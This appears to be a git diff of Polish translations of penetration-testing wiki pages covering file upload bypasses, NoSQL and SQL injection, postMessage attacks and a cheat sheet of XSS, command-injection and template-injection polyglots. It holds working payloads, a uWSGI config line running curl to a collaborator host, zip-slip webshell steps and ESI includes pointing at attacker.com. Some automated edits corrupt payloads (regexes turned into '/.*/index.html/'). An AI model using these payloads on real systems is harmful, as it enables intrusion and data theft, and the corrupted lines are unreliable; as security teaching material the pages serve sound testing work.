3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows)
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows)
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać ponownie uruchomiony (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
@ -160,27 +160,27 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
## Narzędzia
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji internetowych.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych.
## Od przesyłania plików do innych luk
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
- Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć XSS
- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięć poleceń tutaj](../command-injection.md))
- [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
- [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
- Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus**
- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** podczas przesyłania plików
- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** przy przesyłaniu plików
Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS przechowywane / SSRF / XXE
@ -190,7 +190,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https:
6. **AVI**: LFI / SSRF
7. **HTML / JS** : wstrzyknięcie HTML / XSS / Open redirect
8. **PNG / JPEG**: atak pixel flood (DoS)
9. **ZIP**: RCE przez LFI / DoS
9. **ZIP**: RCE poprzez LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Rozszerzenie Burp
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest istotnym problemem. Pomimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany:
```python
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../" w celu przechodzenia między katalogami.
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
```bash
:set modifiable
@ -289,7 +289,7 @@ pop graphic-context
```
## Osadzanie powłoki PHP w PNG
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania niezmienioną przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.

View File

@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek za pomocą tautologii (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`.
Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek tautologii (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -67,7 +67,7 @@ in JSON
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
@ -88,7 +88,7 @@ Używając operatora **$func** z biblioteki [MongoLite](https://github.com/agent
Możliwe jest użycie [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/), aby uzyskać informacje z innej kolekcji. W poniższym przykładzie odczytujemy z **innej kolekcji** o nazwie **`users`** i uzyskujemy **wyniki wszystkich wpisów** z hasłem pasującym do symbolu wieloznacznego.
**UWAGA:** `$lookup` i inne funkcje agregacji są dostępne tylko wtedy, gdy użyto funkcji `aggregate()` do przeprowadzenia wyszukiwania zamiast bardziej powszechnych funkcji `find()` lub `findOne()`.
**UWAGA:** `$lookup` i inne funkcje agregacji są dostępne tylko wtedy, gdy użyto funkcji `aggregate()`, aby przeprowadzić wyszukiwanie, zamiast bardziej powszechnych funkcji `find()` lub `findOne()`.
```json
[
{
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
@ -140,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Ślepy skrypt NoSQL
## Blind NoSQL Script
```python
import requests, string

View File

@ -1,16 +1,16 @@
# Techniki Odbicia - PoCs i Polygloths CheatSheet
# Reflecting Techniques - PoCs and Polygloths CheatSheet
{{#include ../../banners/hacktricks-training.md}}
Celem tych PoC i Polyglothów jest dostarczenie testerowi szybkiego **podsumowania** luk, które może wykorzystać, jeśli jego **wejście w jakiś sposób jest odbijane w odpowiedzi**.
Celem tych PoC i Polyglothów jest dostarczenie testerowi szybkiego **podsumowania** luk, które może wykorzystać, jeśli jego **wejście w jakiś sposób jest odzwierciedlane w odpowiedzi**.
> [!WARNING]
> Ta **ściągawka nie proponuje wyczerpującej listy testów dla każdej luki**, tylko kilka podstawowych. Jeśli szukasz bardziej szczegółowych testów, zapoznaj się z każdą proponowaną luką.
> Ta **ściągawka nie proponuje kompleksowej listy testów dla każdej luki**, tylko kilka podstawowych. Jeśli szukasz bardziej kompleksowych testów, zapoznaj się z każdą proponowaną luką.
> [!CAUTION]
> Nie **znajdziesz tutaj wstrzyknięć zależnych od Content-Type, takich jak XXE**, ponieważ zazwyczaj spróbujesz ich samodzielnie, jeśli znajdziesz żądanie wysyłające dane xml. Nie **znajdziesz również wstrzyknięć do bazy danych**, ponieważ nawet jeśli niektóre treści mogą być odbijane, w dużej mierze zależy to od technologii i struktury bazy danych backendu.
> **Nie znajdziesz tutaj wstrzyknięć zależnych od Content-Type, takich jak XXE**, ponieważ zazwyczaj spróbujesz ich samodzielnie, jeśli znajdziesz żądanie wysyłające dane XML. **Nie znajdziesz też wstrzyknięć do bazy danych**, ponieważ nawet jeśli niektóre treści mogą być odzwierciedlane, w dużej mierze zależy to od technologii i struktury bazy danych backendu.
## Lista Polyglothów
## Polygloths list
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -46,7 +46,7 @@ javascript:alert(1)
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
{{7*7}}
[7*7]
```
### Poligloty
### Polygloths
```bash
{{7*7}}[7*7]
```
@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls`
$(ls)
```
### Poligloty
### Polygloths
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@ -88,13 +88,13 @@ $(ls)
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Zawieszone znaczniki
## Dangling Markup
### Podstawowe testy
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [Inkluzja plików/Przechodzenie ścieżek](../file-inclusion/)
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
### Podstawowe testy
```bash
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
### Podstawowe testy
```bash
@ -136,15 +136,15 @@ javascript:alert(1)
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloty
### Polygloths
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
Te same testy używane do Open Redirect mogą być używane tutaj.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
### Podstawowe testy
```markup
@ -155,7 +155,7 @@ ${7*7}
${{7*7}}
#{7*7}
```
### Poligloty
### Polygloths
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
@ -166,7 +166,7 @@ ${{7*7}}
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloty
### Polygloths
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
@ -178,12 +178,12 @@ ${{7*7}}
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Poligloty
### Polygloths
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

View File

@ -36,7 +36,7 @@ javascript:alert(1)
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

View File

@ -39,7 +39,7 @@ Jeśli użyto **znaku wieloznacznego**, **wiadomości mogą być wysyłane do do
### Atakowanie iframe i znak wieloznaczny w **targetOrigin**
Jak wyjaśniono w [**tym raporcie**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), jeśli znajdziesz stronę, która może być **iframed** (brak ochrony `X-Frame-Header`) i która **wysyła wrażliwe** wiadomości za pomocą **postMessage** używając **znaku wieloznacznego** (\*), możesz **zmodyfikować** **pochodzenie** **iframe** i **wyciek** **wrażliwej** wiadomości do domeny kontrolowanej przez Ciebie.\
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawiony na URL, a nie na znak wieloznaczny**, ten **sztuczkę nie zadziała**.
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawione na URL, a nie na znak wieloznaczny**, ten **sztuczkę nie zadziała**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -57,7 +57,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
## exploitacja addEventListener
**`addEventListener`** to funkcja używana przez JS do deklarowania funkcji, która **oczekuje `postMessages`**.\
Będzie użyty kod podobny do poniższego:
Zostanie użyty kod podobny do poniższego:
```javascript
window.addEventListener(
"message",
@ -88,7 +88,7 @@ Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
### Ominięcia sprawdzania pochodzenia
- Atrybut **`event.isTrusted`** jest uważany za bezpieczny, ponieważ zwraca `True` tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Chociaż trudno go obejść, jeśli jest poprawnie zaimplementowany, jego znaczenie w kontrolach bezpieczeństwa jest zauważalne.
- Atrybut **`event.isTrusted`** jest uważany za bezpieczny, ponieważ zwraca `True` tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Choć trudno go obejść, jeśli jest poprawnie zaimplementowany, jego znaczenie w kontrolach bezpieczeństwa jest znaczące.
- Użycie **`indexOf()`** do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to:
```javascript
@ -155,9 +155,9 @@ Aby uzyskać więcej informacji **przeczytaj:**
bypassing-sop-with-iframes-2.md
{{#endref}}
### Obejście nagłówka X-Frame
### Ominięcie nagłówka X-Frame
Aby przeprowadzić te ataki, najlepiej byłoby **umieścić stronę internetową ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\
Aby przeprowadzić te ataki, najlepiej będzie, jeśli będziesz mógł **umieścić stronę ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\
W takich scenariuszach możesz nadal użyć mniej dyskretnego ataku. Możesz otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:
```markup
<script>
@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
```
Dla **więcej informacji**:
- Link do strony o [**zanieczyszczeniu prototypu**](../deserialization/nodejs-proto-prototype-pollution/)
- Link do strony o [**XSS**](../xss-cross-site-scripting/)
- Link do strony o [**zanieczyszczeniu prototypu**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Link do strony o [**XSS**](../xss-cross-site-scripting/index.html)
- Link do strony o [**zanieczyszczeniu prototypu po stronie klienta do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Odniesienia

View File

@ -53,7 +53,7 @@ HQL does not support comments
```
### Potwierdzanie za pomocą operacji logicznych
Wiarygodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który zwraca identyczną treść po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
Wiarygodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który daje identyczną treść po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
Podobnie, zastosowanie **operacji matematycznych** służy jako skuteczna technika potwierdzająca. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` daje ten sam wynik, to wskazuje na SQL injection.
@ -70,7 +70,7 @@ Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections
### Potwierdzanie za pomocą czasu
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injections** jest zmuszenie bazy danych do wykonania działań, które będą miały **wpływ na czas** ładowania strony.\
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injections** jest zmuszenie bazy danych do wykonania działań, co będzie miało **wpływ na czas** ładowania strony.\
Dlatego w zapytaniu SQL dodamy operację, która zajmie dużo czasu na zakończenie:
```
MySQL (string concat and logical ops)
@ -93,7 +93,7 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli takie będą)_.
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli występują)_.
### Identyfikacja Back-endu
@ -142,7 +142,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego wykorzystanie.\
Przede wszystkim musimy ustalić **liczbę** **kolumn**, które **początkowe zapytanie** zwraca. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
Do tego celu zazwyczaj stosuje się dwie metody:
Zazwyczaj do tego celu stosuje się dwie metody:
#### Order/Group by
@ -185,22 +185,22 @@ W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazw
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Inny sposób odkrywania tych danych istnieje w każdej innej bazie danych, ale metodologia zawsze jest ta sama._
_Inny sposób odkrywania tych danych istnieje w każdej różnej bazie danych, ale metodologia zawsze jest ta sama._
## Wykorzystywanie ukrytej injekcji opartej na unii
## Exploiting Hidden Union Based
Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność **ukrytej injekcji opartej na unii**. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w opartą na unii, należy rozpoznać zapytanie wykonawcze w zapleczu.
Gdy wynik zapytania jest widoczny, ale wstrzyknięcie oparte na unii wydaje się niemożliwe, oznacza to obecność **ukrytego wstrzyknięcia opartego na unii**. Taki scenariusz często prowadzi do sytuacji wstrzyknięcia ślepego. Aby przekształcić wstrzyknięcie ślepe w oparte na unii, należy rozpoznać zapytanie wykonawcze na zapleczu.
Można to osiągnąć za pomocą technik niewidocznej injekcji wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
